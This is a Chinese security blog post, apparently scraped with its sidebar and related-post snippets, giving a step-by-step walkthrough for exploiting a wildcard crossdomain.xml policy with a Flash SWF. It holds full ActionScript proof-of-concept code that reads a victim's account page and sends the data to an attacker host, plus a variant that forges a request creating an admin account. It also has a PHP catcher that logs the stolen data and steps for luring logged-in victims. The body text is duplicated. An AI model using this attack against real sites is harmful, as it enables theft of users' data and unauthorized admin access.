- 浏览: 287775 次
文章分类
- 全部博客 (276)
- burp+hydra暴力破解 (1)
- kali linux工具集 (6)
- kali (59)
- linux (54)
- password (14)
- web (63)
- 渗透测试 (50)
- windows (40)
- metasploit (9)
- 信息收集 (32)
- burp suit (4)
- 安全审计 (9)
- https://github.com/secretsquirrel/the-backdoor-factory (0)
- nmap (4)
- arachni (2)
- 工具 (5)
- sql (3)
- 网络 (2)
- 后渗透测试 (10)
- 内网 (5)
- 无线 (2)
- C (3)
- bios (1)
- RoR (12)
- mongodb (1)
- linxu (1)
- gdb (1)
- linux,虚拟化 (1)
- python (4)
最新评论
参考:
https://hackerone.com/reports/43070
http://sethsec.blogspot.in/2014/07/crossdomain-bing.html
http://gursevkalra.blogspot.in/2013/08/bypassing-same-origin-policy-with-flash.html
http://sethsec.blogspot.in/2014/11/crossdomainxml-can-be-overly-permissive_18.html?view=sidebar
crossdomain.xml文件格式:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="by-content-type"/>
<allow-access-from domain="*" secure="false"/>
<allow-http-request-headers-from domain="*" headers="*"/>
</cross-domain-policy>
通常规则:
1. crossdomain.xml文件在根目录下,例如www.secret-site.com/crossdomain.xml
2. crossdomain.xml权限过度自由
3. 在www.secret-site.com 上存在敏感信息或可以执行敏感动作
如果三条都满足,那么www.secret-site.com上的application将会给从恶意网站加载的swf敞开大门,从恶意网站www.malicious-site.com加载的swf现在可以绕过同源策略获得user拥有www.secret-site.com的权限。
主要问题是出在<allow-access-from domain="*">上。
如果https://www.secret-site.com/crossdomain.xml含有错误配置 <allow-access-from domain="*">,但是所有的敏感信息都放在https://secure.secret-site.com那么将不存在风险
在下面的例子中https://www.secret-site.com是含有错误配置crossdomain.xml <allow-access-from domain="*">,
1. 安装Adobe Flex
apt-get install openjdk-6-jdk
mkdir /opt/flex
cd /opt/flex/
wget http://download.macromedia.com/pub/flex/sdk/flex_sdk_4.6.zip
unzip flex_sdk_4.6.zip
chmod -R a+rx /opt/flex/
echo 'export PATH=/opt/flex/bin:$PATH' >> ~/.bashrc
chmod 755 bin/mxmlc
2. 下载Gursev的poc,".as"和".html"文件:
mkdir /var/www/crossdomain
mkdir ~/crossdomain
cd ~
git clone https://github.com/gursev/flash-xdomain-xploit.git
cp flash-xdomain-xploit/xdx.html /var/www/crossdomain/
cp flash-xdomain-xploit/XDomainXploit.as ~/crossdomain/
vi ~/crossdomain/XDomainXploit.as
或者没有git客户端
3. 修改ActionScript来满足需要,替换victim URL和attacker URL就可以生成一个GET请求:
或是下面代码来制作一个POST请求
4. 使用xmmlc编译ActionScript
5. 把生成的swf文件放到web的某个目录下
6. 做一个catcher 文件。该php文件用来将所有的请求数据记录到/tmp文件夹下
7. 安装php
8. 设置SSL
这一步骤不是必须的,但是如果你的flash object使用HTTPS通信,并且secure="false" 没有设置,那么就需要设置。
下面两步是制作一个证书,但是你可以购买一个正式的证书,这样user不会出现SSL错误
make-ssl-cert generate-default-snakeoil --force-overwrite
a2enmod ssl
a2ensite default-ssl
9启动web服务器
/etc/init.d/apache2 restart
10.欺骗受害者访问www.malicious-site.com/crossdomain/xdx.html
11. 希望受害者访问的时候登陆了www.secret-site.com
12. 这时就可以收集和分析数据了
https://hackerone.com/reports/43070
http://sethsec.blogspot.in/2014/07/crossdomain-bing.html
http://gursevkalra.blogspot.in/2013/08/bypassing-same-origin-policy-with-flash.html
http://sethsec.blogspot.in/2014/11/crossdomainxml-can-be-overly-permissive_18.html?view=sidebar
crossdomain.xml文件格式:
引用
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="by-content-type"/>
<allow-access-from domain="*" secure="false"/>
<allow-http-request-headers-from domain="*" headers="*"/>
</cross-domain-policy>
通常规则:
1. crossdomain.xml文件在根目录下,例如www.secret-site.com/crossdomain.xml
2. crossdomain.xml权限过度自由
3. 在www.secret-site.com 上存在敏感信息或可以执行敏感动作
如果三条都满足,那么www.secret-site.com上的application将会给从恶意网站加载的swf敞开大门,从恶意网站www.malicious-site.com加载的swf现在可以绕过同源策略获得user拥有www.secret-site.com的权限。
主要问题是出在<allow-access-from domain="*">上。
如果https://www.secret-site.com/crossdomain.xml含有错误配置 <allow-access-from domain="*">,但是所有的敏感信息都放在https://secure.secret-site.com那么将不存在风险
在下面的例子中https://www.secret-site.com是含有错误配置crossdomain.xml <allow-access-from domain="*">,
1. 安装Adobe Flex
引用
apt-get install openjdk-6-jdk
mkdir /opt/flex
cd /opt/flex/
wget http://download.macromedia.com/pub/flex/sdk/flex_sdk_4.6.zip
unzip flex_sdk_4.6.zip
chmod -R a+rx /opt/flex/
echo 'export PATH=/opt/flex/bin:$PATH' >> ~/.bashrc
chmod 755 bin/mxmlc
2. 下载Gursev的poc,".as"和".html"文件:
引用
mkdir /var/www/crossdomain
mkdir ~/crossdomain
cd ~
git clone https://github.com/gursev/flash-xdomain-xploit.git
cp flash-xdomain-xploit/xdx.html /var/www/crossdomain/
cp flash-xdomain-xploit/XDomainXploit.as ~/crossdomain/
vi ~/crossdomain/XDomainXploit.as
或者没有git客户端
引用
cd /var/www/crossdomain
wget https://raw.github.com/gursev/flash-xdomain-xploit/master/xdx.html
cd ~/crossdomain
wget https://raw.github.com/gursev/flash-xdomain-xploit/master/XDomainXploit.as
vi ~/crossdomain/XDomainXploit.as
wget https://raw.github.com/gursev/flash-xdomain-xploit/master/xdx.html
cd ~/crossdomain
wget https://raw.github.com/gursev/flash-xdomain-xploit/master/XDomainXploit.as
vi ~/crossdomain/XDomainXploit.as
3. 修改ActionScript来满足需要,替换victim URL和attacker URL就可以生成一个GET请求:
// POC Author: Gursev Singh Kalra (gursev.kalra@foundstone.com) // XDomainXploit.as package { import flash.display.Sprite; import flash.events.*; import flash.net.URLRequestMethod; import flash.net.URLRequest; import flash.net.URLLoader; public class XDomainXploit extends Sprite { public function XDomainXploit() { // Target URL from where the data is to be retrieved var readFrom:String = [color=blue]"http://www.secret-site.com/account/info";[/color] var readRequest:URLRequest = new URLRequest(readFrom); var getLoader:URLLoader = new URLLoader(); getLoader.addEventListener(Event.COMPLETE, eventHandler); try { getLoader.load(readRequest); } catch (error:Error) { trace("Error loading URL: " + error); } } private function eventHandler(event:Event):void { // URL to which retrieved data is to be sent var sendTo:String = [color=blue]"http://malicious-site.com/catcher.php"[/color] var sendRequest:URLRequest = new URLRequest(sendTo); sendRequest.method = URLRequestMethod.POST; sendRequest.data = event.target.data; var sendLoader:URLLoader = new URLLoader(); try { sendLoader.load(sendRequest); } catch (error:Error) { trace("Error loading URL: " + error); } } } }
或是下面代码来制作一个POST请求
// POC Author: Gursev Singh Kalra (gursev.kalra@foundstone.com) // POC Modified to send POSTs and append HTTP headers: Seth Art // XDomainXploit.as package { import flash.display.Sprite; import flash.events.*; import flash.net.URLRequestMethod; import flash.net.URLRequest; import flash.net.URLLoader; import flash.net.URLRequestHeader; public class XDomainXploit3 extends Sprite { public function XDomainXploit3() { // Target URL from where the data is to be retrieved var readFrom:String = "https://www.secret-site.com/admin/add"; var header:URLRequestHeader = new URLRequestHeader("Content-Type", "text/plain; charset=UTF-8"); var readRequest:URLRequest = new URLRequest(readFrom); readRequest.method = URLRequestMethod.POST readRequest.data = "{\"name\":\"CSRF-Admin\",\"Group\":\"admin\",\"password\":\"password\",\"confirmPassword\":\"password\"}"; readRequest.requestHeaders.push(header); var getLoader:URLLoader = new URLLoader(); getLoader.addEventListener(Event.COMPLETE, eventHandler); try { getLoader.load(readRequest); } catch (error:Error) { trace("Error loading URL: " + error); } } private function eventHandler(event:Event):void { // URL to which retrieved data is to be sent var sendTo:String = "http://www.malicious-site.com/crossdomain/catcher.php" var sendRequest:URLRequest = new URLRequest(sendTo); sendRequest.method = URLRequestMethod.POST; sendRequest.data = event.target.data; var sendLoader:URLLoader = new URLLoader(); try { sendLoader.load(sendRequest); } catch (error:Error) { trace("Error loading URL: " + error); } } } }
4. 使用xmmlc编译ActionScript
引用
/opt/flex/bin/mxmlc ~/crossdomain/XDomainXploit.as
5. 把生成的swf文件放到web的某个目录下
引用
mv ~/crossdomain/XDomainXploit.swf /var/www/crossdomain
6. 做一个catcher 文件。该php文件用来将所有的请求数据记录到/tmp文件夹下
vi /var/www/catcher.php <?php $data = file_get_contents("php://input"); $ret = file_put_contents('/tmp/thanks_for_sharing.txt', $data, FILE_APPEND | LOCK_EX); if($ret === false) { die('Error writing to file'); } else { echo "$ret bytes written to file"; } ?>
7. 安装php
引用
apt-get install php5
8. 设置SSL
这一步骤不是必须的,但是如果你的flash object使用HTTPS通信,并且secure="false" 没有设置,那么就需要设置。
下面两步是制作一个证书,但是你可以购买一个正式的证书,这样user不会出现SSL错误
引用
make-ssl-cert generate-default-snakeoil --force-overwrite
a2enmod ssl
a2ensite default-ssl
9启动web服务器
引用
/etc/init.d/apache2 restart
10.欺骗受害者访问www.malicious-site.com/crossdomain/xdx.html
11. 希望受害者访问的时候登陆了www.secret-site.com
12. 这时就可以收集和分析数据了
cat /tmp/thanks_for_sharing.txt
发表评论
-
linux 安装scrapy
2015-09-07 13:06 601由于scrapy对python3支持不是很好,所以使用pyth ... -
nginx reverse proxy cofinguration
2015-08-28 15:18 417based on our case, we need to h ... -
wpscan
2015-08-01 10:39 435https://www.digitalocean.com/co ... -
arachni-web-ui使用
2015-06-10 01:04 2146最近在玩儿arachni,想试试arachni-ui-web, ... -
HACKING NODEJS AND MONGODB
2015-06-04 23:52 341http://blog.websecurify.com/201 ... -
php object inject
2015-05-29 00:45 338解释: http://securitycafe.ro/2015 ... -
[转]Forcing XXE Reflection through Server Error Messages
2015-05-19 01:10 452原文地址:https://blog.netspi.com/fo ... -
CVE-2011-2461
2015-03-31 01:19 429http://blog.nibblesec.org/2015/ ... -
[译]从配置错误的web server中dump git数据
2015-03-26 01:07 581原文地址:https://blog.netspi.com/du ... -
[转]Microsoft Access sqli
2015-03-18 00:57 436https://milo2012.wordpress.com/ ... -
[转]sqlmap注入Microsoft Access
2015-03-18 00:49 1592https://github.com/sqlmapprojec ... -
[译]使用wireshark解密TLS浏览器流量
2015-03-12 00:57 4126原文地址:https://jimshaver.net/2015 ... -
xxe方法
2015-02-01 18:32 849原文地址:http://www.christian-schne ... -
owasp zed--Web Sockets
2015-01-31 01:16 643http://digi.ninja/blog/zap_web_ ... -
memcached
2015-01-25 01:56 0http://www.sensepost.com/blog/4 ... -
[译]linux使用软连接读取本地文件
2015-01-25 00:28 1972原文地址:http://josipfranjkovic.blo ... -
linux install firefix&plugin
2015-01-22 20:56 4541. download firefox&plugins ... -
Sinatra--超级轻量级web框架
2015-01-17 00:30 660Sinatra是一个超轻量级web框架 介绍:http://w ... -
Shellshock示例
2014-12-19 01:21 318来自:http://pastebin.com/Qbgn09Wa ... -
使用Tesseract 识别验证码
2014-12-10 00:48 794参考: http://code.google.com/p/te ...
相关推荐
7. 对于不需要跨域访问的站点,可以考虑不在根目录下放置 crossdomain.xml 文件,以默认拒绝所有 Flash 跨域请求。 总结,Flash 跨域策略文件 crossdomain.xml 是控制 Flash 应用程序跨域访问的关键。正确配置 ...
`crossdomain.xml`文件是Adobe Flex应用程序用于定义安全策略的一个关键组件,它允许来自不同源的Flash Player或Flex客户端与服务器进行通信。本篇文章将深入探讨如何在WebLogic环境中设置这个文件,以及它对跨域...
当这两个组件结合时,可能会遇到浏览器的同源策略限制,这时候就需要通过`crossdomain.xml`文件来进行跨域配置。 `crossdomain.xml`文件是Adobe Flash Player和某些浏览器遵循的一种安全机制,用于允许特定的跨域...
本文将深入探讨`xpire-crossdomain-scanner`工具,它专门用于扫描`crossdomain.xml`文件,以检测潜在的安全漏洞。 `crossdomain.xml`是Adobe Flash Player和某些其他浏览器支持的一种安全策略文件,用于定义一个...
虽然目前还没有多少框架,但您需要利用过度宽松的 crossdomain.xml 文件所需的一切都在这里。 支持的操作系统 卡利 操作系统 下载和设置 root@kali:~ # git clone ...
当Flex应用试图从不同源加载数据或调用JavaScript时,Flash Player会检查目标服务器的根目录下是否存在crossdomain.xml文件。这个文件定义了哪些域被允许访问,以及允许的访问权限。例如,如果一个Flex应用在一个域...
为了解决这类问题,本文将介绍如何通过编写`crossDomain.xml`文件来实现跨域访问。 #### 二、解决方案 为了解决Tomcat在IP和端口不同时引发的跨域问题,可以通过编写并配置`crossDomain.xml`文件来实现跨域支持。...
`crossdomain.xml`是服务器端的一个XML文件,它定义了哪些外部源(即其他域名)的Flash或Flex内容可以访问该服务器的资源。这个文件允许跨域资源共享(CORS),使Flex应用能够安全地从其他域获取数据,比如地图服务...
当涉及到跨域访问时,尤其是对于使用Flash技术的客户端应用,`crossdomain.xml`文件扮演着至关重要的角色。这个文件允许你定义跨域策略,使其他域的资源能够与你的Blob存储进行交互。 `crossdomain.xml`文件是Flash...
无论是哪种方案,都需要在服务器端 Web 应用的根目录下配置 crossdomain.xml。 使用服务器端代理,可以简单在服务器端定义 DefaultHTTP,打开 proxy-config.xml,如下配置。其中*号表示 ...
crossdomain.xml 文件的格式是 XML,文件的开头是 <?xml version="1.0"?>,后面是 <cross-domain-policy> 元素,该元素包含了 allow-access-from 元素,allow-access-from 元素指定了允许访问的域名。 例如,以下是...
为了使CKPlayer能播放来自其他服务器的m3u8流,你需要在你的服务器上配置一个正确的`crossdomain.xml`文件,并确保其可被访问。 另外,`index.html`是CKPlayer的主页面,它包含了播放器的HTML结构和初始化脚本;`...
`crossdomain.xml`文件是用于设置跨域策略的一个XML文件,它允许Flash应用程序(如SWFUpload)跨越不同的域名进行数据交互。如果该文件缺失或者放置位置不正确,则会导致上传操作失败,并返回400错误。 #### 解决...
crossdomain.xml是一个位于网站根目录的XML文件,用于指定哪些域下的内容可以访问该域下的资源。当Flash Player检测到crossdomain.xml文件存在时,会读取其内容并根据其中的设置决定是否允许跨域访问。 在本例中,...
Flash安全涉及多个方面,其中最重要的是跨域通信的管理,主要通过`crossdomain.xml`文件进行控制。这个文件是Flash应用程序进行跨域访问时的权限配置文件,它定义了哪些域的Flash内容可以访问和交互数据。以下是关于...
1. **正确配置crossdomain.xml**:确保服务器端正确部署了crossdomain.xml文件,并且其配置符合需求。如果使用通配符“*”,则表示允许所有域访问;如果要指定某些特定域名,则应替换为具体的域名列表。 2. **检查...